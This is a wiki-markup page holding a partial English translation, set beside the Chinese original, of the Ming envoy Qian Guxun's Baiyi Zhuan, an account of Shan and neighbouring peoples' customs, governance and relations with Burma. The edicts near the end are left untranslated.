Tang Dynasty wine beverage.</ref>. [Heavy] drinkers can only drink one small cup. There are monks. Yellow cloth is used as Kasaya robes (Buddhist robes) with the right arm remaining bare. They strictly adhere to the utmost discipline. They do not eat or drink in the afternoon. Women's appearances are excessively plain, and they are promiscuous. If husbands are away briefly, they enter into relations with other men and succeed as a married couple. White cloth is wrapped around their head and draped on their shoulders in a printed way. |- |哈杜，巢居山林，無衣服，不识农业，惟食草木禽兽，善骑射。冷則抱巨石，山坡間往復奔走，以汗出为度。 |'''Hā dù''' ('''哈杜''') [people] reside in nests in mountain forests; they do not wear clothes. They have no knowledge of agriculture. Only eating vegetation and birds and creatures. They are adept at horses and archery. [When] cold, they grab a boulder and make running trips back and forth between mountainsides until they perspire out to the temperature. |- |弩人，目稍深，貌尤黑，额颅及口邊刺十字十余。 |'''Nǔ''' people ('''弩人'''; crossbowman people), [have] deep-set eyes, [their] appearance is outstandingly dark. Their forehead and mouth edges are tattooed with crosses more than ten times. |- |有结些者，從耳尖連颊皮破，以象牙为大圈，横贯之，以花布裹頭，而垂余布於後，衣半身衫，而袒其肩。婦人未详。其人居戛璃者多。 |[There] is some knotted "Zo" people<ref>This translation is messy. However, it is the first use of the Zhexie/Jiexie term, which was popularised during the Qing era. However, this early, 些 Xie was actually Suo, like the Mosuo people. Hence, the name appears to be a misrendering of Zo people from an intermediary translator, possibly.</ref>, from the tips of the ears to the cheeks, the skin is pierced. Using ivory as a large ring, they pass it horizontally through [the pierced skin]. Printed cloth is wrapped around the head and hangs down onto their back as a partially wrapped robe and bears their shoulders. Nothing is known/reported concerning the women.<ref>Likely possibly meaning that the women are indistinguishable from men. An observation echoed by the British of the Zo people during the colonial era.</ref>. Many of these people habitat at '''Kalay'''. |- |諸夷言语習俗雖异，然由大百夷为君長，故各或效其所为。夷人有名不讳，無姓。 |Although the various barbarian languages and customs are different, they follow the Greater One Hundred Barbarians as their central ruler. Therefore, possibly each group imitates that they do. The Yi people have names but observe no naming taboos; they have no surnames. |- |無医卜等书。不知时节，惟望月之盈亏为候。有事惟鸡卜是决。疾病不知服药，以姜汁注鼻中。病甚，命巫祭鬼路側，病疟者多愈，病熱者多死。地多平川沃土，民一甸率有數十千户，眾置貿易所，谓之街子。婦人用锄地，事稼穑，地利不能尽，然多产牛、羊、鱼、果。 |There are no books on medicine and divination. They are unaware of seasons. Only the moon in its waxing and waning is observed. For matters, a chicken is used for divination. For diseases they do not know how to take medicine. They pour ginger juice into their noses. For extreme sickness, the shaman offers spirit sacrifices next to the road. Those suffering from malaria are likely to recover. Those with a fever are more likely to die. The land is flat with plains and fertile, the people of a district can lead up to ten thousand households. They install commercial trade posts known as ''street markets'' ('''街子'''; Jiē zǐ). Women hoe and weed the soil and [attend] matters to do with sowing and reaping. The productivity of land cannot be exhausted, as there are many ox, sheep, fish and fruits. |- |其气候：春夏雨，秋冬晴，腊月亦如春，昼暄夜冷，晓多烟雾，無霜，春秋烟瘴甚盛。 |Their climate: In spring and summer, it rains. In autumn and winter, it is clear. In the 12th Lunar month ('''December-Feburary''') it feels like spring. The daytime is warm, and the nighttime is cold. At dawn, there is a lot of fog. They have no frost. Spring and Autumn miasma carries an excessive level of malaria. |- |其飲食之异者：鳅、鳝、蛇、鼠、晴蜓、虫负、蛟、蝉、蝗、蚁、蛙、土蜂之類以为食；鱼肉等汁暨米汤信宿而生蛆者以为飲。 |Their food and drink are unusual in the following ways. Loach, eels, snakes, dragonflies, insects, aquatic animals, cicadas, locusts, ants, frogs, and scoliod wasps are all types of food. They drink the juice of fish, meat, and rice gruel, which, over two nights, gain maggots, which are eaten. |- |其草木禽兽之异：草則秋間數十百株结为一聚，地产此草，烟瘴尤甚。树木多有三四株结为連理。有大如斗之柑，有鲇頭鲤身之鱼，水牛頭黄牛身之牛，绵羊頭山羊身之羊。雄鸡多伏卵，亦有生卵者。者闌有一池，沸如汤，人多投肉熟之。 |Their plants and animals are unusual: in autumn, their grass joins from hundreds of stalks to cluster. The land these grasses grow on has an excessively strong malarial miasma. Trees often produce multiple stumps in a fusion. There are large tangerines as large as dippers. There is [a] fish with a sheatfish head and carp bodies. There are oxen with water buffalo heads and yellow ox bodies. There are sheep with sheep heads and mountain goat bodies. Roosters brood over eggs, there are also [males] that lay eggs. At '''Zhě lán''' ('''者闌''')<ref>On the Shan Myanmar and China border near Muse.</ref>, [the size of] ponds for boiling soup. People often cast mature meat in it. |- |境内所产珍物：雅琥、琥珀、犀、象、鹦鹉、孔雀、鳞蛇、脑、麝、阿魏、金、銀、玻璃之類。 |Within its borders are the following precious items it produces: elegant amber, amber, rhinoceros, elephant, parrots, peacocks, snake scales, brains, musk deer, Resina Furelae, gold, silver, glass types of products. |- |其山水险隘。北有高良弓山，横亘二百余里，高五十余里，與怒江相倚。西有馬安山，山有一关，若一人守关，萬夫难入。東为麓川江，可通舟楫。南與金沙江合而入於西海。南下交趾界。金沙江之南，有東胡、得冷、緬人三國。緬之西即西天也。 |The mountains have narrow, dangerous river passes. North there is the Gaoligong Mountains, it horizontally extends two hundred '''Lǐ''' ('''里'''), and is tall as five hundred '''Lǐ''' ('''里''') right next to the '''Nùjiāng''' ('''怒江'''). West is the '''Mǎ'ān Mountain''' ('''馬安山'''). The mountain has one mountain pass. If one person guards the pass, then ten thousand will struggle to enter. East is the '''Lù chuān River''' ('''麓川江'''). You can pass it in an oarboat. South is the '''Jīnshā River''' ('''金沙江''') which enters at the western sea. South it borders '''Jiāozhǐ''' ('''交趾'''; Vietnam). Further south of the '''Jīnshā River''' ('''金沙江''') are the three polities, which has '''Dōnghú''' ('''東胡'''； Eastern Barbarians), '''Dé lěng''' ('''得冷'''; Derung people) and '''Miǎn people''' ('''緬人'''; Burmese people). West of Burma lies the Western Regions<ref> A term for India and Central Asia, which were Buddhist.</ref>. |- |緬國古舍利國，又名狮子國，多佛塔。緬國與夷連歲横兵。洪武之亥冬，緬人诉於朝。丙子春，皇帝遣臣古训及桂阳李思聪至两國，諭以睦邻之义。 |Burma, formerly the '''Shèlì country''' ('''舍利'''), also known as the Lion Country, is filled with pagodas. Burma and the Yi Barbarians were in continuous warfare for years. During the reign of the Hongwu Emperor in the winter of the year of the boar ('''1395 A.D.'''), Burma issued a royal complaint. In Spring of the Year of the Rat, ('''1396 A.D.'''), the Emperor dispatched official Guxun and Li Cong of Guiyang to the two countries to order them to get on well as neighbours with righteousness. |- |} ===Statements and Relations between the Kingdoms=== {| class="wikitable" style="text-align:center; width:80%;" |+ Outcome of the envoys mission and political relations between Shans and Burmese. |- ! scope="col" | Original ! scope="col" | Translation |- |其諭緬國王曰： | |- |『里路险遠，山川阻修，风殊俗异，此乃天造地設也。尔能勤使者，涉险遠，越邻邦以至中夏，其使者之难，冲烟突雾，晨進昏止，饥餐渴飲，吞吐烟岚，异风霜而方至。其为使者，不亦难乎！古人有云：诚君子將有事於遠，友千里之外，神交而志通。今萬里之外，尔能勤使而至，遠修其好，美絕古而惟今。然排难解纷之事，朕之旨意，恨不一言而正，使彼此各罢兵守，樂黎民於市野，民居共处，砃相邻而同井飲，籍雖两國之民，居处难分，惟存关市有讥，是其和也。若尔緬不主衅，夷不强凌，如此，雖弱自保，以奉天道。其或不听朕命，忿争不已，天將昭鉴，福善祸淫，迟速可待。鯩至，朕不多诫。但诚可以交天人，尔其审之，母忘朕諭。』 | |- |諭思侖發曰： | |- |『朕中國先古圣人，驭顽礼德，各有条章。是条章也，列圣相继，守而行之，上下相安，黔黎樂业。何也？諸侯敬畏，世禄子孙，國祚绵長，乃九伐之功驗也。列國敢有凭弱犯寡者，天子發兵以眚之；贼贤害民者，亦發兵以伐之；暴内凌外，則兴師以坛之；野荒民散，則用兵以削之；负固不服，則舉兵以侵之；贼殺其亲，則正其罪以殺之；放弑其君，則明其罪以诛之；犯令凌政，則杜而絕之；内外乱，鸟兽行，則殄灭之。九伐之征如是也。尔思侖發，以中國较之，合问凭弱犯寡之由。何以見？歲以兵寇車里，不时侵掠八百，恃强犯緬；戛璃國小民寡，而已平之，斯说也，不過告诫之词。中國周临四夷，與諸酋長地里相接，居民亦相密迩，如此者，耳闻之邦若干，目擊之邦若干，朕未嘗恃强凭凌，絕灭其嗣者。雲南之地，已为我有，似乎尚强以取之，非也！乃元世子孙梁王者，恃元之苗裔，匿我有罪，納我逋逃，诱我邊守，是乃不得已而發问罪之師，非無故而兴師。此乃元运天更，其苗裔不当安处。况生事於我邻邦，其理势使然，夷如反掌。尔麓川之蠢，初擅兴金齒之役，次谋景東而寇定邊，理当大發精兵而较胜负。朕释而不较，未嘗强尔为約束之邦，听尔自为声教，今又几年矣。近闻蚕食邻邦，意在扩土地而擅有其眾，又將为我西南之役。噫，未可！古中國圣人有云：‘山川地理人物之類，乃神器也，非人强有，必天授然後得之’。尔思侖發不修邻邦之好，三面發兵，蚕食諸國，其贪也如是，其谋也如是。彼麓川周临之國，始古至今，各有主者，未嘗吞并。朕雖不能止尔，听尔自为，果天道使然，尔以人事应之，或为而可。噫！以朕戒尔守全則可，不守全而以全动，設若全亏，是为全亡，莫如守全以圖绵長，不亦美乎？』 | |- |由是二國罢兵和好。 | |- |时古训等适遇百夷其部下酋長曰刀干孟者叛其國，余等以大义諭其部眾，而叛者闻之稍却。於是，思侖發欲留余等以为援，且進以金寶象馬等物，故余以书示之曰： | |- |『吾闻君上有怀遠之德，遠臣有敬上之心，始古迄今，莫违此义。夫君居九重之上，雖欲顷刻目尔遠臣，未可得也，臣处萬里之外，即欲朝暮身亲君上，亦未易得也。故朝廷有將命之官，使之宣德布威；而遠方有承命之宜，期其輸忠納款。今天子应天顺民，奉天为治，四维八極，尽为臣妾，無有专擅，不敢违逆。西南一区，夷酋亦眾，惟尔麓川，多蒙恩宠，既受以官，復加以服。况贤王亲临尔境，而德惠數及尔身。为尔计，則將度其心，量其才，何为而可以尽忠天子，何为而可以致敬贤王，又何为而可以安邊境而不干天怒，又何为而可以教百姓而不违法度？借曰邊境不安，必思曰，我事上未忠或未至，而眾不服我耶？百姓违法，必思曰，我守職已或有僭而民亦犯上耶？於是我則尽其忠，去其僭，如此，則邊境自安，人民從教矣。且吾以尔目擊效驗明之：往年思瓦發不服朝廷，轻犯金齒，天子雖未问罪，天則假手於達鲁方等，而思瓦發被戮。刀思朗不從尔命，窃寇定邊，尔雖未能息其兵，天則助威於我邊將，而刀思朗等即灭。惟尔知天命，達人理，故能享天禄，守人爵。迩来天子恐尔所为，或涉放肆，特敕諭以戒之；贤王恐尔無知，或生疑懼，特令旨以恤之。此恩此德，穷天極地。尔之披肝露胆，开心見诚，吾尽見矣；尔之尊重朝廷，敬奉殿下，告亦見矣。今尔固留吾辈，其意本美。近者尔甸寨少宁，刀干谋异，吾將回朝为尔明白其事，尔乃留我，使我不速還朝，假如刀干鸣尔留难天使之非於朝，則反误尔敬君之心矣。且尔赠以金、銀、裀褥、馬、象等物，吾固不受者，非見怪也，實相爱也。何則？朝廷恩尔，抚安尔邦，未嘗令使者取货於尔也。夫货财，饥不可以充口，疾不可以救死。况中國金玉成山，象馬若蚁，未以为寶也，惟所寶者，圣君、明王、忠臣、烈士、强兵、勇將、孝子、顺孙等事，其他财物，如粪土耳。姑以尔境内眾所闻者明之：昔隋史萬歲守邊，夷而贪财，以致殺身。梁毗一金不受，而大服夷眾。此事甚白。吾为圣朝天使，必不为财物所蛊，惟恐吾之使令往来小人，不体吾意，蛊惑尔心，特此叮咛。尔其备审此书，体吾真意，早送吾辈還朝，則尔敬君之心，不浅浅也。』 | |- |书至，思侖發悦服，遂邀至其家，設宴畢，與其眾送出境外。 | |- |百夷，由金齒、蒲漂過怒江即其境。沿江東數十里，上有高良弓頗险。其岭有一寨。過一寨下四十里，地名养列，自此抵麓川無险隘之虞。由麓川经蠻牛、莽港等路，渡谨卯，從蒙戛等甸至麻林界，登金沙江之舟，下流二十日至緬國。國王眾呼为卜剌浪，王之妻呼为米泼剌。 | |- |} ==References== {{reflist}} [[Category:Chinese literature]] [[Category:Non-fiction books]] [[Category:Medieval historical works]] [[Category:Works originally in Chinese]] [[Category:Pages with foreign language text]] [[Category:Indigenous peoples]] [[Category:Guidebooks]] [[Category:History of China]] [[Category:Wars]] [[Category:Diplomacy of China]] [[Category:Subject:Military history]] [[zh:蛮书]] nos613mdvp3akrg40jjlii80f28fa4f 4670783 4670775 2026-09-18T01:33:46Z Taitesena 3485636 4670783 wikitext text/x-wiki __NOTOC__ {{incomplete translation}} {{Translation header | title = Baiyi Zhuan (百夷傳) | author = Qian Guxun (錢古訓) | override_editor = | translator = 'Taitesena' | section = | previous = | next = | shortcut = | year = | language = zh | original = | notes = The Baiyizhuan, or, '''Biography of 100 Barbarians''', was compiled by Qian Guxun (錢古訓) with Li Sicong (李思聪) and sent to the Ming Dynasty but never formally published yet stored away. Copies emerged under both names however, most agree that both envoys wrote their own accounts of Myanmar to control the issue of Shan Kings on the borders. This version is attributed to Qian Guxun and sourced from Wikisource. }} == Front Matter == # [[Baiyi Zhuan/Translator's Note|Translator's Note]] # [[Baiyi Zhuan/Influences|Historical Context]] ==Translation== ===Introduction=== {| class="wikitable" style="text-align:center; width:80%;" |+ Premable to the purpose and context of the document and political situation. |- ! scope="col" | Original ! scope="col" | Translation |- |百夷，在雲南西南數千里，其地方萬里。景東在其東，西天古刺在其西，八百媳婦在其南，吐番在其北；東南則車里，西南則緬國，東北則哀牢〈（今之金齒衛也）〉，西北則西番、回紇。 |[The] One Hundred Barbarians are a few thosand '''Lǐ''' ('''里''') southwest of Yunnan. There region is very far away. '''Jǐngdōng''' ('''景東''') is east of them. The western regions Gǔ cì (古刺) [people] are west of them. South of them are the '''Eight Hundred Xífù''' ('''八百媳婦'''; Laos). North of them is Tibet. Southeast of them is Chē lǐ (車里), southwest is Burma, Northeast is '''Āiláo''' ('''哀牢''')<ref>The ancient tribal confederation of the Yongchang-Gaoligong area.</ref> Today, these are the gold tooth people. Northwest of them is Western Barbarians and '''Huíhé''' ('''回紇'''; Uyghur people). |- |俗有大百夷、小百夷、漂人、古剌、哈剌、緬人、结些、吟杜、弩人、蒲蠻、阿昌等名，故曰百夷。 |The customs of Greater One Hundred Barbarians, the Lesser One Hundred Barbarians, Pyu people, Gǔ cì (古刺) [people], Hā cì (哈刺) [people], Burmese people, '''jiēsuò''' （'''结些''')<ref>There is reason to believe that these may be the Zo people. The Jie however is difficult to understand, likely a terminology transfer issue from intermediaries. Like the Mosuo people, I suggest this to be read as Jie Suo. If so, this would be the earliest mention of Zo terminology since Vincent Sangermono.</ref>, '''Yíndù'''（'''吟杜''')<ref>These are only mentioned once in the document. Whether it's a mix-up with Hadu, or referring to Indians, is unknown.</ref>, Nǔ people (弩人; crossbowman people), Pú (蒲) and Āchāng (阿昌), among others, can be spoken of as the One Hundred Barbarians. |- |漢以前未嘗通中國，諸葛亮征蠻，亦抵怒江而止。唐天寶中，夷人始随爨歸王入朝。其眾各有部領，不相統屬。 |Before the Han dynasty, they had no contact with China.<ref>The main exception may be the Ailao people.</ref> '''Zhūgé liàng''' ('''諸葛亮''') went on an expedition against the barbarians, where he stopped right up against the '''Nùjiāng River''' ('''怒江'''). During the Tianbao Era of the Tang Dynasty, the barbarians began to follow the '''Cuàn''' ('''爨''') and '''Guī''' ('''歸''') clan leaders.<ref>The '''Cuàn''' ('''爨''') eventually founded the Kingdom of Nanzhao, which ruled powerfully in the region, competing with Tibet and Tang China.</ref> The people had their own leaders and were not unified. |- |元憲宗三年，世祖由吐番入麗江，自葉榆平至雲南〈（葉榆即大理也）〉。明年，命將兀良哈臺征降夷地。遂分为路二十、府四、甸四十有四、部二十有六、各設土官，置金齒都元帥府領之。有所督，委官入其地，交春即還，避瘴气也。 |In Emperor Xianzong's 3rd year in the Yuan Dynasty, Emperor Shìzǔ (世祖; Kublai Khan) entered '''Lìjiāng''' ('''麗江''') from Tibet and himself in '''Yèyú''' ('''葉榆'''; Present Day Dali) brought peace to Yunnan. The following year, [he] commanded General UriyangKhadai to pacify the barbarian lands. The region was transformed into twenty circuits, four prefectures, forty-four districts and twenty-six departments, each with indigenous officials overseen by the Gold Teeth Commander in Chief.<ref>A Tai Shan Leader likely.</ref> Officials were appointed to administer certain lands, returning by spring to avoid malarial miasma. |- |至正戊子，麓川土官思可發數侵扰各路，元帥搭失把都討之，不克。思可發益吞并諸路，而遣其子滿散入朝，以輸情款。雖奉正朔，納職貢，而服用制度，擬於王者。思可發死，子昭併發立。八年，傳其子臺扁。踰年，臺扁從父昭肖發殺之而自立，期年，盗殺昭肖發，眾立其弟思瓦發。 |In the the 8th year of the Zhizheng era ('''1348 AD''') Lùchuān (麓川) indigenous chief '''Sī kě fā''' ('''思可發'''; Hsö Hkan Hpa) had been countlessly harassing and invading every road. The Commander-in-Chief '''Dāshībǎ''' （'''搭失把'''） sent armed forces to the capital but was unable to. '''Sī kě fā''' ('''思可發'''; Hsö Hkan Hpa) annexed further circuits and dispatched his son '''Mǎnsàn''' ('''滿散''') to the imperial court to offer terms of service. Although they accepted tribute and the official calendar of the Ming dynasty, their clothes and administration resembled that of a monarchy. '''Sī kě fā''' ('''思可發'''; Hsö Hkan Hpa) died, his son Zhāo bìngfā ('''昭併發'''; Hsö Pem Hpa) was established. Eight years later it passed to '''Táibiǎn''' ('''臺扁'''; Hsö Siu Hpa). A year later, '''Táibiǎn's''' ('''臺扁'''; Hsö Siu Hpa) uncle '''Zhāo xiàofā''' ('''昭肖發'''; , Hsö Kap Hpa) killed him himself and seized power. A year later, bandits killed '''Zhāo xiàofā''' ('''昭肖發'''; Hsö Kap Hpa) and established his younger brother '''Sīwǎfā''' ('''思瓦發'''; Hso Vau Hpa) [as ruler]. |- |國朝洪武辛酉，平雲南。明年，思瓦發寇金齒。是冬，思瓦發略于者闌、南甸。其屬達鲁方等輙立滿散之子思侖發，而殺思瓦發於外。即譴使貢白象、犀、馬、方物於朝。廷議不忍絕以化外，乃命福建左參政王鈍率雲南部校郭京美等，諭以向背利害，約以每歲貢獻之率，而遂内附。於是授思侖發为麓川平緬軍民宣慰。丙寅，復寇景東。明年，部屬刁思朗犯定邊，天子命西平侯沐英總兵敗之，獲刁思朗，夷人懼服。上以遠人不加約束，故官稱制度皆從其俗。 |In the current dynasty, in the 58th year (Xinyou) of the Hongwu Emperor ('''1381 A.D.'''), Yunnan was pacified. The next year, '''Sīwǎfā''' ('''思瓦發'''; Hsö Vau Hpa) plundered the Gold Teeth barbarians. That winter, '''Sīwǎfā''' ('''思瓦發'''; Hsö Vau Hpa) captured the territory of '''Zhělán''' ('''者闌''') and '''Nándiàn''' ('''南甸'''). His subordinate '''Dálǔfāng''' （'''達鲁方'''）placed '''Mǎnsàn's''' ('''滿散''') son, '''Sīlúnfā''' ('''思侖發'''; Hsö Hom Hpa) as ruler and killed '''Sīwǎfā''' ('''思瓦發'''; Hsö Vau Hpa) when outside. The offered tribute included white elephants, rhinoceroses, horses and other local products. The palace could not bear to cut ties with outside spheres of influence and commanded the Fujian Left Vice Official '''Wáng Dùn''' ('''王鈍''') to lead in the checking of the city walls of Yunnan, order discussions of pros and cons of allegience, discuss the annual tribute rate and secured their submission. He conferred '''Sīlúnfā''' ('''思侖發'''; Hsö Hom Hpa) as the Burma Pacification Commissioner. In the third year ('''1386 A.D.'''), he returned to invade '''Jǐngdōng''' ('''景東'''). The next year, his subordinate '''Diāosīlǎng''' ('''刁思朗''') invaded '''Dìngbiān''' ('''定邊'''). The Emperor ordered Marquis of '''Xīpíng''' ('''西平''') '''Mù yīng''' ('''沐英''') to lead an army to defeat him where he caught '''Diāosīlǎng''' ('''刁思朗'''). The barbarians became fearful and submitted. In order not to restrict those far-away peoples, the official system and administration were all in their customs. |- |其下稱思侖發曰『昭』，猶中國稱君主也。所居麓川之地曰者闌，猶中國稱京師也。其屬則置『叨孟』以總統政事，兼領軍民。『昭錄』領萬餘人，『昭綱』領千餘人，『昭伯』領百人；領一伍者为『昭哈斯』，領一什者为『昭准』；皆屬於『叨孟』。又有『昭錄令』，遇有征调，亦與『叨孟』統軍以行。其近侍呼为『立者』，閽寺呼为『割斷』。大小各有分地，任其徭賦。 |'''Sīlúnfā''' ('''思侖發'''; Hsö Hom Hpa) is called '''Zhāo''' ('''昭'''), like how China uses "Lord". '''Lùchuān's''' ('''麓川''') [ruler's] dwelling place is called '''Zhělán''' ('''者闌'''), like how China uses the term "Capital". Their subordinates are known as '''Dāomèng''' ('''叨孟'''), who generally handled political affairs while simultaneously leading the military and civilians. '''Zhāolù''' ('''昭錄''') led over ten thousand households, '''Zhāogāng''' ('''昭綱)''' led over a thousand households, '''Zhāobó''' ('''昭伯''') led a hundred households. Those who led five soldiers were known as '''Zhāohāsī''' ('''昭哈斯'''), those who led ten soldiers were known as '''Zhāozhǔn''' ('''昭准'''). Each [of these] were part of the '''Dāomèng''' ('''叨孟'''). There is also '''Zhāolùlìng''' ('''昭錄令''') who also happen to carry out conscription for the '''Dāomèng''' ('''叨孟''') to gather an army to lead. Their attendants were known as '''Lìzhě'''（'''立者'''). Doorkeepers of Buddhist temples were called '''Gēduàn''' ('''割斷'''). Big or small each had distributed land appointed and endowed to them as compulsory servicefor corvee and taxes. |- |上下僭奢，雖微職亦繫鈒花金銀帶。貴賤皆戴筍籜帽，而飾金寶於頂，如浮圖狀，懸以金玉，插以珠翠花，被以毛纓，綴以毛羽。貴者衣綺麗。每出入，象馬僕從滿途。象以銀鏡數十聯綴於羈靮，緣以銀釘，鞍上有闌如交椅狀，藉以裀褥，上設錦障蓋，下懸銅響鈴，坐一奴鞍後，執長鉤驅止之。遇貴於己者，必讓途而往。凡相見必合掌而拜，習胡人之跪。長於己者必拜跪之，言則叩頭受之。叨孟以下見其主，則膝行以前，二步一拜，退亦如之。執事於貴人之側，雖跪終日無倦狀。貴人之前過，必磬折鞠躬。宴会則貴人上坐，其次列坐於下，以逮至賤。先以沽茶及蒌葉、檳榔啖之（沽茶者，山中茶葉，春夏間采煮之，實於竹筒内，封以竹箬，過一二歲取食之，味極佳，然不可用水煎飲）。次具飯，次進酒饌，俱用冷而無熱。每客必一仆持水瓶側跪，俟嗽口盥手而後食。食畢亦如之，而後起。客十則十人各行一客。酒或以杯，或用筒（筒以蕨楷，或用鵝翎管連贯，各長丈餘，漆之而飾以金，假若一酿酒，則漬以水一滿瓮，插筒手中，立標以驗其盏數，人各以次舉筒咂之。咂酒一盏，仍漬水一盏，傳之次客，味甚佳，至淡，水方止，俗呼为咂酒）。酒與食物必祭而後食，食不用筯。酒初行，一人大噪，眾皆合之，如此者三，乃舉樂。樂有三等：琵琶、胡琴、等笛、響盏之類，效中原音，大百夷樂也。笙阮、排簫、箜篌、琵琶之類，人各拍手歌舞，作緬國之曲，緬樂也。銅饒、銅鼓、響板、大小長皮鼓，以手拊之，與僧道樂頗等者，車里樂也。村甸間擊大鼓，吹芦笙，舞干为宴。長者授卑賤酒食，必叩頭受之，易以他器而食。食畢，仍叩頭而退。 |The people, both high and low [in status], were extravagantly overstepping [in their dress]. Even small duty officials fastened engraved, patterned belts of gold and silver. [Both] nobles and commoners wore bamboo-shoot-woven hats and decorated them with gold, like a crown resembling pagodas, hanging with jade and gold and inserted with pearls and colourful gems, covered with tassels and quilted feathers. The clothes of wealthy individuals are enchantingly beautiful. Whenever one goes out, elephants, horses, and servants fill the roads. The elephants have about ten or so silver mirrors attached to their reins and bridles, edged with silver nails. On the saddle, there is a railing resembling an old wooden-style armchair with cushion-like under padding, a mattress, and brocade above the top and copper ringing bells below [it]. A servant was seated behind the saddle, grasping a long hook to urge and stop [the elephant]. Upon encountering a wealthy person, they certainly yield the way to them. Commonly, when meeting one another, they certainly clasp hands and bow, adopting the kneeling [custom] of the Northwestern peoples [of China]. Elders to oneself are bowed to and kneelt before, and when speaking, they are subjected to kowtow to them. Those below '''Dāomèng''' ('''叨孟'''), seeing their masters, kneel before them, every two steps a bow, and repeat it during withdrawal. Attendants are at a wealthy person's side, despite kneeling all day, do not appear tired. When a wealthy person passes by, they bow deeply.<ref>The sentence is poetically describing the bow as "bending the body as to resemble 磬, a type of percussion instrument". </ref> In banquets, the wealthy are seated first, then next in line are the ones below them and so on, by means to the lowest [of status]. First, they are given tea, areca nuts and betel leaves (The given tea leaves are [harvested] in mountains and brewed in Spring and Summer, stuffed into bamboo tubes, sealed with bamboo leaves for one to two years, ready for consumption, tasting extremely fine, however, cannot be brewed by boiling in water for drinking. Next [to] be provided is rice, following that is wine and delicacies are are [consumed] cold and unheated. Every guest has a servant kneeling on the side holding a water bottle, waiting to cough and rinse the mouth and hands with water and then eat. [Upon] finishing eating this is repeated and then they rise. In the case of ten guests, ten people attend them, one per guest. Wine is either served in a cup or a tube (The tubes are made from Pistachio Bracken or goose plume linked together). Every length is one '''Zhàng''' ('''丈;''' approximately 3m) painted and decorated with gold. If brewing wine, one pot of water is added. Inserting the tube into the hand, it is used to check for the number of cups [it can hold]. Each person lifts the tube to sip from it. After sipping a cup, a cup of water is added, and it is passed to the next person; the taste is exceedingly fine. When the wine's taste dilutes, water is stopped, and this is called '''sipping wine'''.) Wine and good must be sacrificed, and then they eat. Chopsticks are not used to eat. At the begining of the wine [ceremony], one person loudly shouts and multiple people all join in. This is done three times, and then music is played. There are three such types of music: Chinese lute, Huqin (Chinese fiddle) and the flute with ringing cups and so on. It imitates the sounds of the central region<ref>The Yellow River Basin area of China. </ref> and the Great White barbarians, too. Bagpipe, lutes, panpipes, harp, pipa and so on. People each clap their hands and dance. It is performed in Burmese tunes and music. Copper gong, bronze drum, castanets, big, small and long leather drums struck with the hand. It is similar to Buddhist and Taoist music, as well as '''Chēlǐ''' ('''車里''') music. Villages and suburbs have space for striking bass drums, blowing reed pipes and dancing for the feast. Elders give food and drink to the lowly [people], who certainly must bear to kowtow them to exchange utensils and eat. [Upon] finishing eating, they still kowtow and then retreat. |- |凡貿易必用銀，雜以銅，鑄若半卵狀，流通商賈間。官無倉庾，民無税粮。每年秋季，其主遣亲信部屬往各甸，计房屋征金銀，谓之取差發（房屋一間，大者征銀一两、三两，小者一两而止）。無中國文字，小事刻竹木，大事作緬书，皆旁行为记。刑名無律，不知鞭挞，轻罪則罚，重罪則死。或殺，或用人扱殺。或用象打，或投於水，或以绳帛缢。男婦不敢为奸盗，犯則殺之。 |All commercial trade must use silver, mixed with copper, cast to appear like a half egg [shape] to circulate among merchants. The government has no granaries,<ref>There are two characters for granaries, the second is for small private ones, signifying that most did not have this system at all. </ref> the people [likewise] have no grain tax. Every autumn, the owners dispatch trusted aides and subordinates to go to each suburb to calculate and levy households' gold and silver. This is called to go collect money. (For each house: large ones are taxed one or three [taels] of silver, small ones are taxed one tael.) There is no Chinese script; small matters are carved into bamboo or wood, big matters are written into Burmese script, all written horizontally for recording. No laws govern punishment; they do not know whipping or corporal punishment. Petty crimes are penalised, and serious crimes lead to death. Some are killed [directly], while some have another person employed to kill them. Some use elephants to crush them, some throw them in water, while some are hanged with ropes. Men and women do not dare commit adultery or robbery, to violate so will kill them. |- |所居無城池濠隍，惟编木立寨，貴賤悉构以草楼，無窗壁门户，时以花布障围四壁，以蔽风雨而已。邮傅一里設一小楼，數人守之，公事雖千里遠，报在顷刻。無軍民之分，聚則为軍，散則为民。遇有战斗，每三人或五人出軍一名，择其壮者为正軍，呼为『锡剌』。锡剌持兵御敌，余人荷所供。故軍行五六萬，战者不滿二萬。兵行不整，先後不一。多以象为雄势，战則缚身象上。裹革兜，被銅铁甲，用長镖干弩，不習弓矢。征战及造作用事，遇日月食則罢之，毁之。 |The [ruler's] dwelling place has no walls, water moats, trenches or dry moats, only wooden stockades erected. Both nobles and commoners all constructed thatched houses with no windows, ramparts or doors, just printed cloth covering around all four walls, as to cover [from] wind and rain and nothing more. Every mile, there was a small post office, a few people guarded it, [thus] documents even as far as a thousand miles can be reported instantly. There is no distinction between military and civilian [people]. Once assembled, they became soldiers; once scattered, they became civilians. Upon encountering a war, every three or five people would produce one soldier; they would select the strongest to become the principal armed force, known as '''Xīlà''' ('''锡剌'''). The '''Xīlà''' ('''锡剌''') grasped weapons to defend against the enemy, while surplus people carried to supply [them]. Hence, an army of fifty or sixty thousand will have fighters not filling twenty thousand. The soldiers were not organised; their rank formations were not uniform. Many used elephants for their imposing power; fighters tied their bodies onto the elephants. They wrapped leather into helmets, and were covered with copper mail plating, using long spears and crossbows, and did not practice bow and arrow. Any war or manufacturing encountering an eclipse would cease or [either] be destroyed. |- |所用多陶器，惟宣慰用金銀玻璃，部酋間用金銀酒器。凡部酋出，其器用、仆妾、财寶之類皆随之，從者千余，昼夜随所适，必作宴笑樂。 |Most utensils [they use] were pottery. Only the '''Xuānwèi''' ('''宣慰''') use gold, silver and glass. Tribal chiefs among them used gold, silver and wine cups. Commonly [when] tribal chiefs go out, their utensils, servants, concubines, money, jewels and so on all subsequently all follow him. He is accompanied by over a thousand followers. Day and night, wherever he subsequently goes, there will be feasts, laughter and music. |- 